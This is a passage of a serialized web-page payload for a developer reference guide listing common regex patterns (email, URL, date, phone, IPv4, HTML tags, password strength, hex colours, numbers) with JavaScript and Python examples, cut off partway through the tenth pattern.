var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":265893},[265894,265895,265896,265897,265898,265901,265902,265907],{"id":265388,"depth":337,"text":265389},{"id":265401,"depth":337,"text":265402},{"id":265496,"depth":337,"text":265497},{"id":265592,"depth":337,"text":265593},{"id":265687,"depth":337,"text":265688,"children":265899},[265900],{"id":265700,"depth":343,"text":265701},{"id":265746,"depth":337,"text":265747},{"id":265802,"depth":337,"text":265803,"children":265903},[265904,265905,265906],{"id":265806,"depth":343,"text":265807},{"id":265837,"depth":343,"text":265838},{"id":265862,"depth":343,"text":265863},{"id":265872,"depth":337,"text":265873},"The 25 most-used cron expressions with plain-English explanations. Copy-ready schedules for every workflow.",{"immutable":363},{"title":265383,"description":265908},"guides\u002Fcommon-cron-schedules","JNtCa2oUh7FqLAt4yuhUKIz3VYg69ulCn0IsZFb5N6k",{"id":265914,"title":265915,"body":265916,"date":257855,"description":268296,"extension":361,"meta":268297,"navigation":363,"path":268298,"readingTime":2524,"seo":268299,"stem":268300,"__hash__":268301},"guides\u002Fguides\u002Fcommon-regex-patterns.md","20 Regex Patterns Every Developer Needs — Reference Guide",{"type":8,"value":265917,"toc":268270},[265918,265920,265923,265926,265930,265933,265940,266021,266040,266056,266060,266063,266070,266178,266182,266185,266192,266293,266298,266302,266305,266312,266437,266441,266444,266451,266569,266584,266588,266591,266598,266669,266673,266676,266683,266789,266795,266799,266802,266886,266890,266896,266903,267005,267009,267012,267019,267080,267104,267108,267111,267260,267264,267267,267274,267364,267370,267374,267377,267384,267478,267482,267485,267492,267579,267583,267586,267593,267649,267653,267656,267663,267749,267753,267756,267763,267825,267829,267832,267839,267932,267936,267939,267946,268029,268033,268036,268043,268141,268143,268181,268183,268258,268262,268267],[11,265919,2776],{"id":256641},[16,265921,265922],{},"Regular expressions (regex) are one of the most powerful tools in a developer's toolkit. Whether you are validating user input, extracting data from text, or performing search-and-replace operations, knowing the right regex pattern can save hours of work.",[16,265924,265925],{},"In this guide, we cover 20 practical regex patterns that every developer should know, with working code examples in JavaScript and Python.",[11,265927,265929],{"id":265928},"_1-email-address-validation","1. Email Address Validation",[16,265931,265932],{},"Email validation is one of the most common uses of regex. While a perfect email regex is notoriously complex, this pattern handles 99% of real-world cases.",[16,265934,265935,1663,265937],{},[47,265936,18376],{},[143,265938,265939],{},"\u002F^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$\u002F",[135,265941,265943],{"className":1607,"code":265942,"language":1609,"meta":141,"style":141},"const emailRegex = \u002F^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$\u002F;\nconsole.log(emailRegex.test('user@example.com'));  \u002F\u002F true\nconsole.log(emailRegex.test('invalid-email'));     \u002F\u002F false\n",[143,265944,265945,265981,266001],{"__ignoreMap":141},[1560,265946,265947,265949,265952,265954,265956,265958,265961,265963,265965,265968,265970,265972,265974,265977,265979],{"class":1562,"line":1563},[1560,265948,8180],{"class":1669},[1560,265950,265951],{"class":1576}," emailRegex",[1560,265953,8186],{"class":1669},[1560,265955,11912],{"class":5634},[1560,265957,38799],{"class":1669},[1560,265959,265960],{"class":1576},"[a-zA-Z0-9._%+-]",[1560,265962,9448],{"class":1669},[1560,265964,6849],{"class":11919},[1560,265966,265967],{"class":1576},"[a-zA-Z0-9.-]",[1560,265969,9448],{"class":1669},[1560,265971,11916],{"class":11915},[1560,265973,22728],{"class":1576},[1560,265975,265976],{"class":1669},"{2,}$",[1560,265978,9423],{"class":5634},[1560,265980,2228],{"class":1570},[1560,265982,265983,265985,265987,265990,265992,265994,265997,265999],{"class":1562,"line":337},[1560,265984,8211],{"class":1570},[1560,265986,8214],{"class":1566},[1560,265988,265989],{"class":1570},"(emailRegex.",[1560,265991,98998],{"class":1566},[1560,265993,1688],{"class":1570},[1560,265995,265996],{"class":5634},"'user@example.com'",[1560,265998,51290],{"class":1570},[1560,266000,101150],{"class":1649},[1560,266002,266003,266005,266007,266009,266011,266013,266016,266019],{"class":1562,"line":343},[1560,266004,8211],{"class":1570},[1560,266006,8214],{"class":1566},[1560,266008,265989],{"class":1570},[1560,266010,98998],{"class":1566},[1560,266012,1688],{"class":1570},[1560,266014,266015],{"class":5634},"'invalid-email'",[1560,266017,266018],{"class":1570},"));     ",[1560,266020,238147],{"class":1649},[135,266022,266024],{"className":8259,"code":266023,"language":8261,"meta":141,"style":141},"import re\nemail_pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$'\nprint(bool(re.match(email_pattern, 'user@example.com')))  # True\n",[143,266025,266026,266030,266035],{"__ignoreMap":141},[1560,266027,266028],{"class":1562,"line":1563},[1560,266029,116044],{},[1560,266031,266032],{"class":1562,"line":337},[1560,266033,266034],{},"email_pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$'\n",[1560,266036,266037],{"class":1562,"line":343},[1560,266038,266039],{},"print(bool(re.match(email_pattern, 'user@example.com')))  # True\n",[16,266041,266042,266044,266045,266048,266049,266052,266053,9368],{},[47,266043,256785],{},": This pattern breaks down into three parts — the local part (",[143,266046,266047],{},"[a-zA-Z0-9._%+-]+","), the domain name (",[143,266050,266051],{},"[a-zA-Z0-9.-]+","), and the TLD (",[143,266054,266055],{},"[a-zA-Z]{2,}",[11,266057,266059],{"id":266058},"_2-url-matching","2. URL Matching",[16,266061,266062],{},"Match HTTP and HTTPS URLs, including optional subdomains and paths.",[16,266064,266065,1663,266067],{},[47,266066,18376],{},[143,266068,266069],{},"\u002Fhttps?:\\\u002F\\\u002F([\\w-]+\\.)+[\\w-]+(\\\u002F[\\w\\-\\.~:\\\u002F\\?#\\[\\]@!$&'()*+,;=]*)?\u002F",[135,266071,266073],{"className":1607,"code":266072,"language":1609,"meta":141,"style":141},"const urlRegex = \u002Fhttps?:\\\u002F\\\u002F([\\w-]+\\.)+[\\w-]+(\\\u002F[\\w\\-\\.~:\\\u002F\\?#\\[\\]@!$&'()*+,;=]*)?\u002Fg;\nconst text = 'Visit https:\u002F\u002Fexample.com\u002Fpage?q=search for more info.';\nconsole.log(text.match(urlRegex));\n\u002F\u002F ['https:\u002F\u002Fexample.com\u002Fpage?q=search']\n",[143,266074,266075,266147,266160,266173],{"__ignoreMap":141},[1560,266076,266077,266079,266082,266084,266086,266088,266090,266092,266095,266097,266100,266102,266104,266106,266108,266110,266112,266114,266116,266119,266121,266124,266127,266129,266132,266135,266137,266139,266141,266143,266145],{"class":1562,"line":1563},[1560,266078,8180],{"class":1669},[1560,266080,266081],{"class":1576}," urlRegex",[1560,266083,8186],{"class":1669},[1560,266085,11912],{"class":5634},[1560,266087,219328],{"class":11919},[1560,266089,33994],{"class":1669},[1560,266091,8037],{"class":11919},[1560,266093,266094],{"class":11915},"\\\u002F\\\u002F",[1560,266096,1688],{"class":11919},[1560,266098,266099],{"class":1576},"[\\w-]",[1560,266101,9448],{"class":1669},[1560,266103,11916],{"class":11915},[1560,266105,1525],{"class":11919},[1560,266107,9448],{"class":1669},[1560,266109,266099],{"class":1576},[1560,266111,9448],{"class":1669},[1560,266113,1688],{"class":11919},[1560,266115,43130],{"class":11915},[1560,266117,266118],{"class":1576},"[\\w\\-",[1560,266120,11916],{"class":11915},[1560,266122,266123],{"class":1576},"~:",[1560,266125,266126],{"class":11915},"\\\u002F\\?",[1560,266128,6852],{"class":1576},[1560,266130,266131],{"class":11915},"\\[\\]",[1560,266133,266134],{"class":1576},"@!$&'()*+,;=]",[1560,266136,8069],{"class":1669},[1560,266138,1525],{"class":11919},[1560,266140,33994],{"class":1669},[1560,266142,9423],{"class":5634},[1560,266144,22733],{"class":1669},[1560,266146,2228],{"class":1570},[1560,266148,266149,266151,266153,266155,266158],{"class":1562,"line":337},[1560,266150,8180],{"class":1669},[1560,266152,87414],{"class":1576},[1560,266154,8186],{"class":1669},[1560,266156,266157],{"class":5634}," 'Visit https:\u002F\u002Fexample.com\u002Fpage?q=search for more info.'",[1560,266159,2228],{"class":1570},[1560,266161,266162,266164,266166,266168,266170],{"class":1562,"line":343},[1560,266163,8211],{"class":1570},[1560,266165,8214],{"class":1566},[1560,266167,189382],{"class":1570},[1560,266169,97000],{"class":1566},[1560,266171,266172],{"class":1570},"(urlRegex));\n",[1560,266174,266175],{"class":1562,"line":365},[1560,266176,266177],{"class":1649},"\u002F\u002F ['https:\u002F\u002Fexample.com\u002Fpage?q=search']\n",[11,266179,266181],{"id":266180},"_3-date-format-validation-yyyy-mm-dd","3. Date Format Validation (YYYY-MM-DD)",[16,266183,266184],{},"Validates dates in ISO 8601 format.",[16,266186,266187,1663,266189],{},[47,266188,18376],{},[143,266190,266191],{},"\u002F^\\d{4}-(0[1-9]|1[0-2])-(0[1-9]|[12]\\d|3[01])$\u002F",[135,266193,266195],{"className":1607,"code":266194,"language":1609,"meta":141,"style":141},"const dateRegex = \u002F^\\d{4}-(0[1-9]|1[0-2])-(0[1-9]|[12]\\d|3[01])$\u002F;\nconsole.log(dateRegex.test('2026-05-26'));  \u002F\u002F true\nconsole.log(dateRegex.test('2026-13-01'));  \u002F\u002F false (invalid month)\n",[143,266196,266197,266253,266273],{"__ignoreMap":141},[1560,266198,266199,266201,266204,266206,266208,266210,266212,266215,266218,266221,266223,266225,266228,266231,266233,266235,266238,266240,266242,266245,266247,266249,266251],{"class":1562,"line":1563},[1560,266200,8180],{"class":1669},[1560,266202,266203],{"class":1576}," dateRegex",[1560,266205,8186],{"class":1669},[1560,266207,11912],{"class":5634},[1560,266209,38799],{"class":1669},[1560,266211,157302],{"class":1576},[1560,266213,266214],{"class":1669},"{4}",[1560,266216,266217],{"class":11919},"-(0",[1560,266219,266220],{"class":1576},"[1-9]",[1560,266222,7334],{"class":1669},[1560,266224,3585],{"class":11919},[1560,266226,266227],{"class":1576},"[0-2]",[1560,266229,266230],{"class":11919},")-(0",[1560,266232,266220],{"class":1576},[1560,266234,7334],{"class":1669},[1560,266236,266237],{"class":1576},"[12]\\d",[1560,266239,7334],{"class":1669},[1560,266241,17821],{"class":11919},[1560,266243,266244],{"class":1576},"[01]",[1560,266246,1525],{"class":11919},[1560,266248,11938],{"class":1669},[1560,266250,9423],{"class":5634},[1560,266252,2228],{"class":1570},[1560,266254,266255,266257,266259,266262,266264,266266,266269,266271],{"class":1562,"line":337},[1560,266256,8211],{"class":1570},[1560,266258,8214],{"class":1566},[1560,266260,266261],{"class":1570},"(dateRegex.",[1560,266263,98998],{"class":1566},[1560,266265,1688],{"class":1570},[1560,266267,266268],{"class":5634},"'2026-05-26'",[1560,266270,51290],{"class":1570},[1560,266272,101150],{"class":1649},[1560,266274,266275,266277,266279,266281,266283,266285,266288,266290],{"class":1562,"line":343},[1560,266276,8211],{"class":1570},[1560,266278,8214],{"class":1566},[1560,266280,266261],{"class":1570},[1560,266282,98998],{"class":1566},[1560,266284,1688],{"class":1570},[1560,266286,266287],{"class":5634},"'2026-13-01'",[1560,266289,51290],{"class":1570},[1560,266291,266292],{"class":1649},"\u002F\u002F false (invalid month)\n",[16,266294,266295,266297],{},[47,266296,259253],{},": This validates format and range but does not check calendar validity (e.g., February 30 passes pattern validation but is not a real date).",[11,266299,266301],{"id":266300},"_4-us-phone-number-validation","4. US Phone Number Validation",[16,266303,266304],{},"Matches common US phone number formats: (555) 123-4567, 555-123-4567, +1 555 123 4567.",[16,266306,266307,1663,266309],{},[47,266308,18376],{},[143,266310,266311],{},"\u002F^\\+?1?\\s?\\(?\\d{3}\\)?[\\s.-]?\\d{3}[\\s.-]?\\d{4}$\u002F",[135,266313,266315],{"className":1607,"code":266314,"language":1609,"meta":141,"style":141},"const phoneRegex = \u002F^\\+?1?\\s?\\(?\\d{3}\\)?[\\s.-]?\\d{3}[\\s.-]?\\d{4}$\u002F;\nconsole.log(phoneRegex.test('(555) 123-4567'));  \u002F\u002F true\nconsole.log(phoneRegex.test('555-123-4567'));    \u002F\u002F true\nconsole.log(phoneRegex.test('12345'));           \u002F\u002F false\n",[143,266316,266317,266377,266397,266417],{"__ignoreMap":141},[1560,266318,266319,266321,266324,266326,266328,266330,266332,266334,266336,266338,266340,266342,266344,266346,266348,266351,266353,266355,266358,266360,266362,266364,266366,266368,266370,266373,266375],{"class":1562,"line":1563},[1560,266320,8180],{"class":1669},[1560,266322,266323],{"class":1576}," phoneRegex",[1560,266325,8186],{"class":1669},[1560,266327,11912],{"class":5634},[1560,266329,38799],{"class":1669},[1560,266331,43106],{"class":11915},[1560,266333,33994],{"class":1669},[1560,266335,3585],{"class":11919},[1560,266337,33994],{"class":1669},[1560,266339,185714],{"class":1576},[1560,266341,33994],{"class":1669},[1560,266343,146156],{"class":11915},[1560,266345,33994],{"class":1669},[1560,266347,157302],{"class":1576},[1560,266349,266350],{"class":1669},"{3}",[1560,266352,146159],{"class":11915},[1560,266354,33994],{"class":1669},[1560,266356,266357],{"class":1576},"[\\s.-]",[1560,266359,33994],{"class":1669},[1560,266361,157302],{"class":1576},[1560,266363,266350],{"class":1669},[1560,266365,266357],{"class":1576},[1560,266367,33994],{"class":1669},[1560,266369,157302],{"class":1576},[1560,266371,266372],{"class":1669},"{4}$",[1560,266374,9423],{"class":5634},[1560,266376,2228],{"class":1570},[1560,266378,266379,266381,266383,266386,266388,266390,266393,266395],{"class":1562,"line":337},[1560,266380,8211],{"class":1570},[1560,266382,8214],{"class":1566},[1560,266384,266385],{"class":1570},"(phoneRegex.",[1560,266387,98998],{"class":1566},[1560,266389,1688],{"class":1570},[1560,266391,266392],{"class":5634},"'(555) 123-4567'",[1560,266394,51290],{"class":1570},[1560,266396,101150],{"class":1649},[1560,266398,266399,266401,266403,266405,266407,266409,266412,266415],{"class":1562,"line":343},[1560,266400,8211],{"class":1570},[1560,266402,8214],{"class":1566},[1560,266404,266385],{"class":1570},[1560,266406,98998],{"class":1566},[1560,266408,1688],{"class":1570},[1560,266410,266411],{"class":5634},"'555-123-4567'",[1560,266413,266414],{"class":1570},"));    ",[1560,266416,101150],{"class":1649},[1560,266418,266419,266421,266423,266425,266427,266429,266432,266435],{"class":1562,"line":365},[1560,266420,8211],{"class":1570},[1560,266422,8214],{"class":1566},[1560,266424,266385],{"class":1570},[1560,266426,98998],{"class":1566},[1560,266428,1688],{"class":1570},[1560,266430,266431],{"class":5634},"'12345'",[1560,266433,266434],{"class":1570},"));           ",[1560,266436,238147],{"class":1649},[11,266438,266440],{"id":266439},"_5-ip-address-ipv4","5. IP Address (IPv4)",[16,266442,266443],{},"Validates an IPv4 address with four octets (0–255).",[16,266445,266446,1663,266448],{},[47,266447,18376],{},[143,266449,266450],{},"\u002F^(?:(?:25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$\u002F",[135,266452,266454],{"className":1607,"code":266453,"language":1609,"meta":141,"style":141},"const ipRegex = \u002F^(?:(?:25[0-5]|2[0-4]\\d|[01]?\\d\\d?)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d\\d?)$\u002F;\nconsole.log(ipRegex.test('192.168.1.1'));  \u002F\u002F true\nconsole.log(ipRegex.test('256.0.0.1'));    \u002F\u002F false\n",[143,266455,266456,266530,266550],{"__ignoreMap":141},[1560,266457,266458,266460,266463,266465,266467,266469,266472,266475,266477,266479,266482,266484,266486,266488,266491,266493,266495,266497,266499,266501,266504,266506,266508,266510,266512,266514,266516,266518,266520,266522,266524,266526,266528],{"class":1562,"line":1563},[1560,266459,8180],{"class":1669},[1560,266461,266462],{"class":1576}," ipRegex",[1560,266464,8186],{"class":1669},[1560,266466,11912],{"class":5634},[1560,266468,38799],{"class":1669},[1560,266470,266471],{"class":11919},"(?:(?:25",[1560,266473,266474],{"class":1576},"[0-5]",[1560,266476,7334],{"class":1669},[1560,266478,10099],{"class":11919},[1560,266480,266481],{"class":1576},"[0-4]\\d",[1560,266483,7334],{"class":1669},[1560,266485,266244],{"class":1576},[1560,266487,33994],{"class":1669},[1560,266489,266490],{"class":1576},"\\d\\d",[1560,266492,33994],{"class":1669},[1560,266494,1525],{"class":11919},[1560,266496,11916],{"class":11915},[1560,266498,1525],{"class":11919},[1560,266500,266350],{"class":1669},[1560,266502,266503],{"class":11919},"(?:25",[1560,266505,266474],{"class":1576},[1560,266507,7334],{"class":1669},[1560,266509,10099],{"class":11919},[1560,266511,266481],{"class":1576},[1560,266513,7334],{"class":1669},[1560,266515,266244],{"class":1576},[1560,266517,33994],{"class":1669},[1560,266519,266490],{"class":1576},[1560,266521,33994],{"class":1669},[1560,266523,1525],{"class":11919},[1560,266525,11938],{"class":1669},[1560,266527,9423],{"class":5634},[1560,266529,2228],{"class":1570},[1560,266531,266532,266534,266536,266539,266541,266543,266546,266548],{"class":1562,"line":337},[1560,266533,8211],{"class":1570},[1560,266535,8214],{"class":1566},[1560,266537,266538],{"class":1570},"(ipRegex.",[1560,266540,98998],{"class":1566},[1560,266542,1688],{"class":1570},[1560,266544,266545],{"class":5634},"'192.168.1.1'",[1560,266547,51290],{"class":1570},[1560,266549,101150],{"class":1649},[1560,266551,266552,266554,266556,266558,266560,266562,266565,266567],{"class":1562,"line":343},[1560,266553,8211],{"class":1570},[1560,266555,8214],{"class":1566},[1560,266557,266538],{"class":1570},[1560,266559,98998],{"class":1566},[1560,266561,1688],{"class":1570},[1560,266563,266564],{"class":5634},"'256.0.0.1'",[1560,266566,266414],{"class":1570},[1560,266568,238147],{"class":1649},[16,266570,266571,266572,266575,266576,266579,266580,266583],{},"Each octet is constrained to 0–255 by using three alternatives: ",[143,266573,266574],{},"25[0-5]"," (250–255), ",[143,266577,266578],{},"2[0-4]\\d"," (200–249), and ",[143,266581,266582],{},"[01]?\\d\\d?"," (0–199).",[11,266585,266587],{"id":266586},"_6-html-tag-extraction","6. HTML Tag Extraction",[16,266589,266590],{},"Extract all HTML tags from a block of markup.",[16,266592,266593,1663,266595],{},[47,266594,18376],{},[143,266596,266597],{},"\u002F\u003C\\\u002F?[\\w\\s=\"\u002F.':;#-\\\u002F\\?]+>\u002F",[135,266599,266601],{"className":1607,"code":266600,"language":1609,"meta":141,"style":141},"const htmlRegex = \u002F\u003C\\\u002F?[\\w\\s=\"'.'\":;#-\\\u002F\\?]+>\u002Fg;\nconst html = '\u003Cdiv class=\"container\">\u003Cp>Hello\u003C\u002Fp>\u003C\u002Fdiv>';\nconsole.log(html.match(htmlRegex));\n\u002F\u002F ['\u003Cdiv class=\"container\">', '\u003Cp>', '\u003C\u002Fp>', '\u003C\u002Fdiv>']\n",[143,266602,266603,266637,266650,266664],{"__ignoreMap":141},[1560,266604,266605,266607,266610,266612,266614,266616,266618,266620,266623,266625,266627,266629,266631,266633,266635],{"class":1562,"line":1563},[1560,266606,8180],{"class":1669},[1560,266608,266609],{"class":1576}," htmlRegex",[1560,266611,8186],{"class":1669},[1560,266613,11912],{"class":5634},[1560,266615,6431],{"class":11919},[1560,266617,43130],{"class":11915},[1560,266619,33994],{"class":1669},[1560,266621,266622],{"class":1576},"[\\w\\s=\"'.'\":;#-",[1560,266624,266126],{"class":11915},[1560,266626,131065],{"class":1576},[1560,266628,9448],{"class":1669},[1560,266630,28226],{"class":11919},[1560,266632,9423],{"class":5634},[1560,266634,22733],{"class":1669},[1560,266636,2228],{"class":1570},[1560,266638,266639,266641,266643,266645,266648],{"class":1562,"line":337},[1560,266640,8180],{"class":1669},[1560,266642,108795],{"class":1576},[1560,266644,8186],{"class":1669},[1560,266646,266647],{"class":5634}," '\u003Cdiv class=\"container\">\u003Cp>Hello\u003C\u002Fp>\u003C\u002Fdiv>'",[1560,266649,2228],{"class":1570},[1560,266651,266652,266654,266656,266659,266661],{"class":1562,"line":343},[1560,266653,8211],{"class":1570},[1560,266655,8214],{"class":1566},[1560,266657,266658],{"class":1570},"(html.",[1560,266660,97000],{"class":1566},[1560,266662,266663],{"class":1570},"(htmlRegex));\n",[1560,266665,266666],{"class":1562,"line":365},[1560,266667,266668],{"class":1649},"\u002F\u002F ['\u003Cdiv class=\"container\">', '\u003Cp>', '\u003C\u002Fp>', '\u003C\u002Fdiv>']\n",[11,266670,266672],{"id":266671},"_7-password-strength-validation","7. Password Strength Validation",[16,266674,266675],{},"Require at least 8 characters, one uppercase letter, one lowercase letter, one digit, and one special character.",[16,266677,266678,1663,266680],{},[47,266679,18376],{},[143,266681,266682],{},"\u002F^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&#])[A-Za-z\\d@$!%*?&#]{8,}$\u002F",[135,266684,266686],{"className":1607,"code":266685,"language":1609,"meta":141,"style":141},"const passwordRegex = \u002F^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&#])[A-Za-z\\d@$!%*?&#]{8,}$\u002F;\nconsole.log(passwordRegex.test('Pass1234!'));   \u002F\u002F true\nconsole.log(passwordRegex.test('weakpassword')); \u002F\u002F false\n",[143,266687,266688,266748,266769],{"__ignoreMap":141},[1560,266689,266690,266692,266695,266697,266699,266701,266704,266706,266708,266710,266713,266715,266717,266719,266721,266723,266725,266727,266729,266731,266733,266736,266738,266741,266744,266746],{"class":1562,"line":1563},[1560,266691,8180],{"class":1669},[1560,266693,266694],{"class":1576}," passwordRegex",[1560,266696,8186],{"class":1669},[1560,266698,11912],{"class":5634},[1560,266700,38799],{"class":1669},[1560,266702,266703],{"class":11919},"(?=",[1560,266705,468],{"class":1576},[1560,266707,8069],{"class":1669},[1560,266709,38854],{"class":1576},[1560,266711,266712],{"class":11919},")(?=",[1560,266714,468],{"class":1576},[1560,266716,8069],{"class":1669},[1560,266718,38764],{"class":1576},[1560,266720,266712],{"class":11919},[1560,266722,468],{"class":1576},[1560,266724,8069],{"class":1669},[1560,266726,157302],{"class":1576},[1560,266728,266712],{"class":11919},[1560,266730,468],{"class":1576},[1560,266732,8069],{"class":1669},[1560,266734,266735],{"class":1576},"[@$!%*?&#]",[1560,266737,1525],{"class":11919},[1560,266739,266740],{"class":1576},"[A-Za-z\\d@$!%*?&#]",[1560,266742,266743],{"class":1669},"{8,}$",[1560,266745,9423],{"class":5634},[1560,266747,2228],{"class":1570},[1560,266749,266750,266752,266754,266757,266759,266761,266764,266767],{"class":1562,"line":337},[1560,266751,8211],{"class":1570},[1560,266753,8214],{"class":1566},[1560,266755,266756],{"class":1570},"(passwordRegex.",[1560,266758,98998],{"class":1566},[1560,266760,1688],{"class":1570},[1560,266762,266763],{"class":5634},"'Pass1234!'",[1560,266765,266766],{"class":1570},"));   ",[1560,266768,101150],{"class":1649},[1560,266770,266771,266773,266775,266777,266779,266781,266784,266787],{"class":1562,"line":343},[1560,266772,8211],{"class":1570},[1560,266774,8214],{"class":1566},[1560,266776,266756],{"class":1570},[1560,266778,98998],{"class":1566},[1560,266780,1688],{"class":1570},[1560,266782,266783],{"class":5634},"'weakpassword'",[1560,266785,266786],{"class":1570},")); ",[1560,266788,238147],{"class":1649},[16,266790,421,266791,266794],{},[143,266792,266793],{},"(?=.*[a-z])"," syntax uses lookahead assertions to check for each character class without consuming characters.",[11,266796,266798],{"id":266797},"_8-extracting-all-urls-from-text","8. Extracting All URLs from Text",[16,266800,266801],{},"Find every URL in a block of text, including those without protocol.",[135,266803,266805],{"className":1607,"code":266804,"language":1609,"meta":141,"style":141},"const urlExtractRegex = \u002Fhttps?:\\\u002F\\\u002F[^\\s]+|www\\.[^\\s]+\u002Fg;\nconst text = 'Check www.example.com and https:\u002F\u002Fgoogle.com for details.';\nconsole.log(text.match(urlExtractRegex));\n\u002F\u002F ['www.example.com', 'https:\u002F\u002Fgoogle.com']\n",[143,266806,266807,266855,266868,266881],{"__ignoreMap":141},[1560,266808,266809,266811,266814,266816,266818,266820,266822,266824,266826,266828,266830,266833,266836,266839,266841,266843,266845,266847,266849,266851,266853],{"class":1562,"line":1563},[1560,266810,8180],{"class":1669},[1560,266812,266813],{"class":1576}," urlExtractRegex",[1560,266815,8186],{"class":1669},[1560,266817,11912],{"class":5634},[1560,266819,219328],{"class":11919},[1560,266821,33994],{"class":1669},[1560,266823,8037],{"class":11919},[1560,266825,266094],{"class":11915},[1560,266827,24385],{"class":1576},[1560,266829,38799],{"class":1669},[1560,266831,266832],{"class":1576},"\\s]",[1560,266834,266835],{"class":1669},"+|",[1560,266837,266838],{"class":11919},"www",[1560,266840,11916],{"class":11915},[1560,266842,24385],{"class":1576},[1560,266844,38799],{"class":1669},[1560,266846,266832],{"class":1576},[1560,266848,9448],{"class":1669},[1560,266850,9423],{"class":5634},[1560,266852,22733],{"class":1669},[1560,266854,2228],{"class":1570},[1560,266856,266857,266859,266861,266863,266866],{"class":1562,"line":337},[1560,266858,8180],{"class":1669},[1560,266860,87414],{"class":1576},[1560,266862,8186],{"class":1669},[1560,266864,266865],{"class":5634}," 'Check www.example.com and https:\u002F\u002Fgoogle.com for details.'",[1560,266867,2228],{"class":1570},[1560,266869,266870,266872,266874,266876,266878],{"class":1562,"line":343},[1560,266871,8211],{"class":1570},[1560,266873,8214],{"class":1566},[1560,266875,189382],{"class":1570},[1560,266877,97000],{"class":1566},[1560,266879,266880],{"class":1570},"(urlExtractRegex));\n",[1560,266882,266883],{"class":1562,"line":365},[1560,266884,266885],{"class":1649},"\u002F\u002F ['www.example.com', 'https:\u002F\u002Fgoogle.com']\n",[11,266887,266889],{"id":266888},"_9-hex-color-code-validation","9. Hex Color Code Validation",[16,266891,266892,266893,266895],{},"Match 3-digit and 6-digit hex color codes, with or without the ",[143,266894,6852],{}," prefix.",[16,266897,266898,1663,266900],{},[47,266899,18376],{},[143,266901,266902],{},"\u002F^#?([a-fA-F0-9]{3}|[a-fA-F0-9]{6})$\u002F",[135,266904,266906],{"className":1607,"code":266905,"language":1609,"meta":141,"style":141},"const hexRegex = \u002F^#?([a-fA-F0-9]{3}|[a-fA-F0-9]{6})$\u002F;\nconsole.log(hexRegex.test('#FF5733'));  \u002F\u002F true\nconsole.log(hexRegex.test('abc'));      \u002F\u002F true\nconsole.log(hexRegex.test('#GGG'));     \u002F\u002F false\n",[143,266907,266908,266946,266966,266986],{"__ignoreMap":141},[1560,266909,266910,266912,266915,266917,266919,266921,266923,266925,266927,266930,266933,266935,266938,266940,266942,266944],{"class":1562,"line":1563},[1560,266911,8180],{"class":1669},[1560,266913,266914],{"class":1576}," hexRegex",[1560,266916,8186],{"class":1669},[1560,266918,11912],{"class":5634},[1560,266920,38799],{"class":1669},[1560,266922,6852],{"class":11919},[1560,266924,33994],{"class":1669},[1560,266926,1688],{"class":11919},[1560,266928,266929],{"class":1576},"[a-fA-F0-9]",[1560,266931,266932],{"class":1669},"{3}|",[1560,266934,266929],{"class":1576},[1560,266936,266937],{"class":1669},"{6}",[1560,266939,1525],{"class":11919},[1560,266941,11938],{"class":1669},[1560,266943,9423],{"class":5634},[1560,266945,2228],{"class":1570},[1560,266947,266948,266950,266952,266955,266957,266959,266962,266964],{"class":1562,"line":337},[1560,266949,8211],{"class":1570},[1560,266951,8214],{"class":1566},[1560,266953,266954],{"class":1570},"(hexRegex.",[1560,266956,98998],{"class":1566},[1560,266958,1688],{"class":1570},[1560,266960,266961],{"class":5634},"'#FF5733'",[1560,266963,51290],{"class":1570},[1560,266965,101150],{"class":1649},[1560,266967,266968,266970,266972,266974,266976,266978,266981,266984],{"class":1562,"line":343},[1560,266969,8211],{"class":1570},[1560,266971,8214],{"class":1566},[1560,266973,266954],{"class":1570},[1560,266975,98998],{"class":1566},[1560,266977,1688],{"class":1570},[1560,266979,266980],{"class":5634},"'abc'",[1560,266982,266983],{"class":1570},"));      ",[1560,266985,101150],{"class":1649},[1560,266987,266988,266990,266992,266994,266996,266998,267001,267003],{"class":1562,"line":365},[1560,266989,8211],{"class":1570},[1560,266991,8214],{"class":1566},[1560,266993,266954],{"class":1570},[1560,266995,98998],{"class":1566},[1560,266997,1688],{"class":1570},[1560,266999,267000],{"class":5634},"'#GGG'",[1560,267002,266018],{"class":1570},[1560,267004,238147],{"class":1649},[11,267006,267008],{"id":267007},"_10-extracting-numbers-from-a-string","10. Extracting Numbers from a String",[16,267010,267011],{},"Pull all numeric values out of mixed text.",[16,267013,267014,1663,267016],{},[47,267015,18376],{},[143,267017,267018],{},"\u002F\\d+(\\.\\d+)?\u002Fg",[135,267020,267022],{"className":1607,"code":267021,"language":1609,"meta":141,"style":141},"const numRegex = \u002F\\d+(\\.\\d+)?\u002Fg;\nconsole.log('Price: $29.99, Qty: 3'.match(numRegex));\n\u002F\u002F ['29.99', '3']\n",[143,267023,267024,267057,267075],{"__ignoreMap":141},[1560,267025,267026,267028,267031,267033,267035,267037,267039,267041,267043,267045,267047,267049,267051,267053,267055],{"class":1562,"line":1563},[1560,267027,8180],{"class":1669},[1560,267029,267030],{"class":1576}," numRegex",[1560,267032,8186],{"class":1669},[1560,267034,11912],{"class":5634},[1560,267036,157302],{"class":1576},[1560,267038,9448],{"class":1669},[1560,267040,1688],{"class":11919},[1560,267042,11916],{"class":11915},[1560,267044,157302],{"class":1576},[1560,267046,9448],{"class":1669},[1560,267048,1525],{"class":11919},[1560,267050,33994],{"class":1669},[1560,267052,9423],{"class":5634},[1560,267054,22733],{"class":1669},[1560,267056,2228],{"class":1570},[1560,267058,267059,267061,267063,267065,267068,267070,267072],{"class":1562,"line":337},[1560,267060,8211],{"class":1570},[1560,267062,8214],{"class":1566},[1560,267064,1688],{"class":1570},[1560,267066,267067],{"class":5634},"'Price: $29.99, Qty: 